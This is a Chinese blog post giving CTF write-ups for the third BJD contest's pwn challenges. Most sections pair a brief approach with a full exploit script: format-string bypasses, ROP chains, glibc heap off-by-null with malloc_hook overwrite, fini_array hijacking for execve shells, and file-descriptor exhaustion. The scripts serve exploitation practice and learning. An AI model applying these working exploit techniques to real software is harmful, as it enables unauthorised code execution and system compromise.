第三届 BJD: pwn

嘴上说不能再打了,一堆事情没做,身体却很诚实。主要是奔着pwn来的,也没想着要冲榜啥的,纯当练习了。
OJ1的本地和远程环境的不一致让我与AK失之交臂,还是赛后问出题的师傅才发现思路是对的(难顶,我的本地感觉有毒,无数次死在本地环境上)。简单记录一下, 没有写的很详细。

OJ0

思路

做出来的人应该蛮多的,简单说一下思路:

  1. 过滤了一些如”system”, “execve”的命令,过滤了”/bin”,只能想办法读flag
  2. 过滤了”flag”,”home”字符串,可以多种方法绕过,用”gets”读文件名,或者分开写都行
  3. 开始没注意可以得到提示,也就是flag的路径,所以用`opendir”和”readdir”读了下目录(多余了)

exp

没存,随便写都行。

OJ1

思路

有点难受,我的main可以在.rodata,可以在.data,可以.bss上,就是不能在.text上,难顶。

  1. 过滤各种括号,用OJ0扒了一下源码,逻辑应该差不多,看了检查的逻辑,应该是绕不过
  2. 尝试中发现int main = xxxx;可以通过编译,调试一下发现main的代码是可以通过赋值控制的(但是我本地没法执行)。
  3. 那只要char main = x; char a0 = x; char a1 = x; ...布置shellcode就好了。

exp

没exp,当时没做出来。

easybabystack

思路

在midnight ctf 2020 pwn4的基础上改的,主要的点就在这个fsb怎么绕过key的判断。

  1. 用fsb绕过key的比较
  2. read一段orw的shellcode到bss上
  3. 调用mprotect修改bss为可执行段
  4. 跳到bss的shellcode上执行
  5. 这里我用orw是因为远程开shell打不通,加上本来fsb就要挺久时间,orw显然更稳一点

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
system_plt = 0x0000000000401114
read_plt = 0x0000000000401140
read_got = 0x404038
open_plt = 0x401180
fprintf_got = 0x404040
mprotect_got = 0x404050

fst = 0x00000000004020AA

pop_rsp = 0x000000000040172d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi = 0x0000000000401733 # pop rdi ; ret
pop_rsi = 0x0000000000401731 # pop rsi ; pop r15 ; ret
gadget_1 = 0x0000000000401710
gadget_2 = 0x0000000000401726

'''
.text:0000000000401710 loc_401710: ; CODE XREF: init+54↓j
.text:0000000000401710 mov rdx, r14
.text:0000000000401713 mov rsi, r13
.text:0000000000401716 mov edi, r12d
.text:0000000000401719 call qword ptr [r15+rbx*8]
.text:000000000040171D add rbx, 1
.text:0000000000401721 cmp rbp, rbx
.text:0000000000401724 jnz short loc_401710
.text:0000000000401726
.text:0000000000401726 loc_401726: ; CODE XREF: init+35↑j
.text:0000000000401726 add rsp, 8
.text:000000000040172A pop rbx
.text:000000000040172B pop rbp
.text:000000000040172C pop r12
.text:000000000040172E pop r13
.text:0000000000401730 pop r14
.text:0000000000401732 pop r15
.text:0000000000401734 retn
.text:0000000000401734 ; } // starts at 4016D0
.text:0000000000401734 init endp
'''

payload = "%6$*18$d%5$n"
p.recv()
p.sendline(payload)
payload = "123"
p.recv()
p.sendline(payload)

payload = "A" * 0x118
payload += flat([gadget_2, 0, 0, 1, 0, elf.bss(0x600), 0x200, read_got])
payload += flat([gadget_1, 0, 0, 0, 0, 0, 0, 0])
payload += flat([pop_rsp, elf.bss(0x600)])
p.recv()
p.sendlineafter("message: ", payload)

payload = "A" * 0x18
payload += flat([gadget_2, 0, 0, 1, elf.bss(0) - 0xA0, 0x1000, 7, mprotect_got])
payload += flat([gadget_1, 0, 0, 0, 0, 0, 0, 0])
payload += flat([elf.bss(0x6A0)])
orw = shellcraft.open("flag")
orw += shellcraft.read("rax", elf.bss(0x800), 0x50)
orw += shellcraft.write(1, elf.bss(0x800), 0x50)
payload += asm(orw)
p.send(payload)

p.interactive()

happyending

思路

刚开始本来就是想看看这道题的,因为发现是glibc2.29的off by null,没有学过,所以借机会学一下,能搜到相关的文章,所以就直接贴其他师傅的博客了(有时间再补充一下,感觉自己写博客印象会深刻一点,而且自己当时也调试了蛮久的)

  1. http://blog.eonew.cn/archives/1233
  2. https://bbs.pediy.com/thread-257901.htm

exp

贴个exp仅供参考,感觉写得挺烂的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
def add(size, content):
p.sendlineafter(">", "1")
p.sendlineafter("Your blessing words length :", str(size))
p.sendafter("Best wishes to them!", content)

def delete(index):
p.sendlineafter(">", "2")
p.sendlineafter("input the idx to clean the debuff :", str(index))

def show(index):
p.sendlineafter(">", "3")
p.sendlineafter("input the idx to show your blessing :", str(index))

main_arena_offset = 0x1e4c40
system_offset = libc.symbols["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
__malloc_hook_offset = libc.symbols["__malloc_hook"]
__free_hook_offset = libc.symbols["__free_hook"]
realloc_offset = libc.symbols["realloc"]
one_gadget_offset = 0x106ef8

while True:
try:
# gap
# add(0x16DA8, '0')
add(0x7DA8, '0')

# unsorted bin list
add(0x510, '1')
add(0x18, '2')
add(0x580, '3')
# add(0x518, '4')
add(0xF518, '4')

# large bin with address like 0xXXXXXXXXX0XX
add(0x1000, '5')
add(0x18, '6')
delete(5)
add(0x1100, '5')

# victim chunk, bruteforce 4 bit
add(0x28, p64(0) + p64(0x151) + "\x00")

# prepare a fastbin and a fake victim->fd chunk
add(0x28, '8')
add(0xF8, '9')
add(0x4F8, '10')

# fill tcache
for i in range(7):
add(0x28, str(11 + i))
for i in range(7):
delete(17 - i)

# get unsorted bin list
delete(1)
delete(10)
delete(3)

# victim->fd->bk = victim
add(0x510, '1' * 8 + '\x00')

# put to fastbin
delete(8)
delete(7)

# tcache
delete(9)

# get all tcache
for i in range(7):
add(0x28, "target" + str(i))

# fetch the victim chunk
add(0x28, "\x00")

# chunk overlap
add(0x4F8, '14')
add(0xF8, p64(0xdead) * 30 + p64(0x150))
delete(14)

# put int tcache
delete(15)

# leak libc
add(0x28, "haha")
add(0x588, 'useup')
add(0x18, 'start')
show(14)
p.recvline()
main_arena = u64(p.recv(6).ljust(8, "\x00"))
libc_base = main_arena - 0x60 - main_arena_offset
libc_system = libc_base + system_offset
__free_hook = libc_base + __free_hook_offset
__malloc_hook = libc_base + __malloc_hook_offset
libc_realloc = libc_base + realloc_offset
one_gadget = libc_base + one_gadget_offset

break

except:
p.close()
if _pwn_remote == 0:
p = process(argv=[_proc], env=_setup_env())
if _debug != 0:
gdb.attach(p, gdbscript=_source)
else:
p = remote('183.129.189.60', 10106)

# write __malloc_hook __realloc_hook
add(0x68, p64(0) * 5 + p64(0x101) + p64(__malloc_hook - 8))
add(0xF8, "/bin/sh\x00")
add(0xF8, p64(one_gadget) + p64(libc_realloc + 6))


p.sendlineafter(">", "1")
p.sendlineafter("Your blessing words length :", str(0x100))

success("main_arena: " + hex(main_arena))
success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))
success("__free_hook: " + hex(__free_hook))

p.interactive()

Memory_Monster_I

思路

直接打__stack_chk_fail为预留的后门函数地址,然后利用栈溢出触发后门函数getshell。

exp

1
2
3
4
5
6
payload = p64(0x404028) + "A" * 0x50
p.sendafter("addr:", payload)
payload = p64(0x40124A)
p.sendafter("data:", payload)

p.interactive()

Memory_Monster_II

思路

跟pwnable.tw上的3x17一毛一样,因为直接改的3x17的脚本,这里就不赘述了,一搜一堆wp分析。

这里要改脚本是因为打不通,知识浅薄,原理尚不明确。特征在于好像”/bin/sh”的地址得用binary上面的,如果用自己布置在bss上的”/bin/sh”会假死(不过其实binary有现成的”/bin/sh”,自己布置也多此一举了)。

至于掉execve啥的,因为是静态编译,gadget一堆,所以随便写了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
syscall = 0x402514
pop_rsp = 0x402ef9 # pop rsp; ret;
pop_rdi = 0x401746 # pop rdi; ret;
pop_rsi = 0x4036fe # pop rsi; ret;
pop_rdx = 0x448415 # pop rdx; ret;
pop_rax = 0x448fcc # pop rax; ret;
leave = 0x401CF3 # leave; ret;
fini_array_0 = 0x4B80B0
fini_array_1 = 0x4B80B8
bss = 0x00000000004BF300 # bss + 0x300
main = 0x401C1D
__libc_csu_fini = 0x402CB0

##############################################################
# _start ==> __libc_start_main
# | /--> init_array[0]
# +==> __libc_csu_init --> ...
# | \--> init_array[n]
# +==> main
# | /--> fini_array[n]
# +==> __libc_csu_fini --> ...
# \--> fini_array[0]
###############################################################
# set fini_array_0 ==> __libc_csu_fini
# fini_array_1 ==> main
# thus the program will execute as:
# main -> __libc_csu_fini -> main(fini_array_1) -> libc_csu_fini(fini_array_0)
# ^ |
# | |
# +------------------------------+
payload = p64(fini_array_0)
p.sendafter("addr:", payload)
payload = p64(__libc_csu_fini) + p64(main)
p.sendafter("data:", payload)

# put data on bss (later will be set as fake stack)
payload = p64(bss + 8)
p.sendafter("addr:", payload)
payload = p64(pop_rdi) + p64(0x492895)
payload += p64(pop_rsi)
p.sendafter("data:", payload)

payload = p64(bss + 0x20)
p.sendafter("addr:", payload)
payload = p64(0) + p64(0x401D00)
p.sendafter("data:", payload)

# since at this moment rbp == fini_array_0
# set fini_array_0 ==> leave
# fini_array_1 ==> pop_rsp
# fini_array_1 + 8 ==> bss
# migrate stack to bss
payload = p64(fini_array_0)
p.sendafter("addr:", payload)
payload = p64(leave) + p64(pop_rsp)
payload += p64(bss + 8)
p.sendafter("data:", payload)

p.interactive()

Memory_Monster_III

思路

利用方法和上面一样,只不过没有现成的”/bin/sh”和execve可用,自己布置就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
syscall = 0x402504
pop_rsp = 0x402ee9 # pop rsp; ret;
pop_rdi = 0x401746 # pop rdi; ret;
pop_rsi = 0x406f70 # pop rsi; ret;
pop_rdx = 0x447635 # pop rdx; ret;
pop_rax = 0x44806c # pop rax; ret;
leave = 0x401CF3 # leave; ret;
fini_array_0 = 0x4B50B0
fini_array_1 = 0x4B50B8
bss = 0x00000000004BD300 # bss + 0x300
main = 0x401C1D
__libc_csu_fini = 0x402CA0

##############################################################
# _start ==> __libc_start_main
# | /--> init_array[0]
# +==> __libc_csu_init --> ...
# | \--> init_array[n]
# +==> main
# | /--> fini_array[n]
# +==> __libc_csu_fini --> ...
# \--> fini_array[0]
###############################################################
# set fini_array_0 ==> __libc_csu_fini
# fini_array_1 ==> main
# thus the program will execute as:
# main -> __libc_csu_fini -> main(fini_array_1) -> libc_csu_fini(fini_array_0)
# ^ |
# | |
# +------------------------------+
payload = p64(fini_array_0)
p.sendafter("addr:", payload)
payload = p64(__libc_csu_fini) + p64(main)
p.sendafter("data:", payload)

# put data on bss (later will be set as fake stack)
payload = p64(bss)
p.sendafter("addr:", payload)
payload = "/bin/sh".ljust(8, "\x00")
payload += p64(pop_rax) + p64(59)
p.sendafter("data:", payload)

payload = p64(bss + 0x18)
p.sendafter("addr:", payload)
payload = p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi)
p.sendafter("data:", payload)

payload = p64(bss + 0x18 * 2)
p.sendafter("addr:", payload)
payload = p64(0)
payload += p64(pop_rdx) + p64(0)
p.sendafter("data:", payload)

payload = p64(bss + 0x18 * 3)
p.sendafter("addr:", payload)
payload = p64(syscall)
p.sendafter("data:", payload)

# since at this moment rbp == fini_array_0
# set fini_array_0 ==> leave
# fini_array_1 ==> pop_rsp
# fini_array_1 + 8 ==> bss
# migrate stack to bss
payload = p64(fini_array_0)
p.sendafter("addr:", payload)
payload = p64(leave) + p64(pop_rsp)
payload += p64(bss + 0x8)
p.sendafter("data:", payload)

p.interactive()

secret2

思路

  1. “/dev/random”每次open都没有close,默认情况下,一个进程最大文件描述符是1023(一共1024个),所以只要后面文件描述符用尽,读出来的就是”\x00”了
  2. 利用上面的思路,成功233次后,就可以利用rop了
  3. 题目应该是不能直接拿shell的,所以就上orw,因为标准输入流0被关闭了,所以打开的flag文件的描述符就是0了,直接从0读就能拿到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pop_rdi = 0x000000000040161b # pop rdi ; ret
pop_rsi = 0x0000000000401619 # pop rsi ; pop r15 ; ret
pop_rsp = 0x0000000000401615 # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
gadget_1 = 0x00000000004015F8
gadget_2 = 0x000000000040160E

'''
.text:00000000004015F8 loc_4015F8: ; CODE XREF: init+4C↓j
.text:00000000004015F8 mov rdx, r15
.text:00000000004015FB mov rsi, r14
.text:00000000004015FE mov edi, r13d
.text:0000000000401601 call qword ptr [r12+rbx*8]
.text:0000000000401605 add rbx, 1
.text:0000000000401609 cmp rbp, rbx
.text:000000000040160C jnz short loc_4015F8
.text:000000000040160E
.text:000000000040160E loc_40160E: ; CODE XREF: init+31↑j
.text:000000000040160E add rsp, 8
.text:0000000000401612 pop rbx
.text:0000000000401613 pop rbp
.text:0000000000401614 pop r12
.text:0000000000401616 pop r13
.text:0000000000401618 pop r14
.text:000000000040161A pop r15
.text:000000000040161C retn
.text:000000000040161C ; } // starts at 4015C0
.text:000000000040161C init endp
'''

read_got = elf.got["read"]
open_plt = elf.plt["open"]
puts_plt = elf.plt["puts"]

payload = "A" * 0x9
payload += flat([pop_rsi, 0, 0])
payload += flat([pop_rdi, 0x4021DF])
payload += flat([open_plt])
payload += flat([gadget_2, 0, 0, 1, read_got, 0, elf.bss(0x600), 0x40])
payload += flat([gadget_1, 0, 0, 0, 0, 0, 0, 0])
payload += flat([pop_rdi, elf.bss(0x600)])
payload += flat([puts_plt])
p.recv()
p.send(payload)

for i in range(0x400 - 1 + 232):
p.recv()
p.send("\x00")

p.interactive()

小结

  • 分析写得比较简单,因为大多是改编题,如果出现有问题的地方欢迎指正
  • 感觉自己速度还是不够快,感觉还是不够熟练,要学的东西还很多
Author: Nop
Link: https://n0nop.com/2020/05/24/%E7%AC%AC%E4%B8%89%E5%B1%8A-BJD-pwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.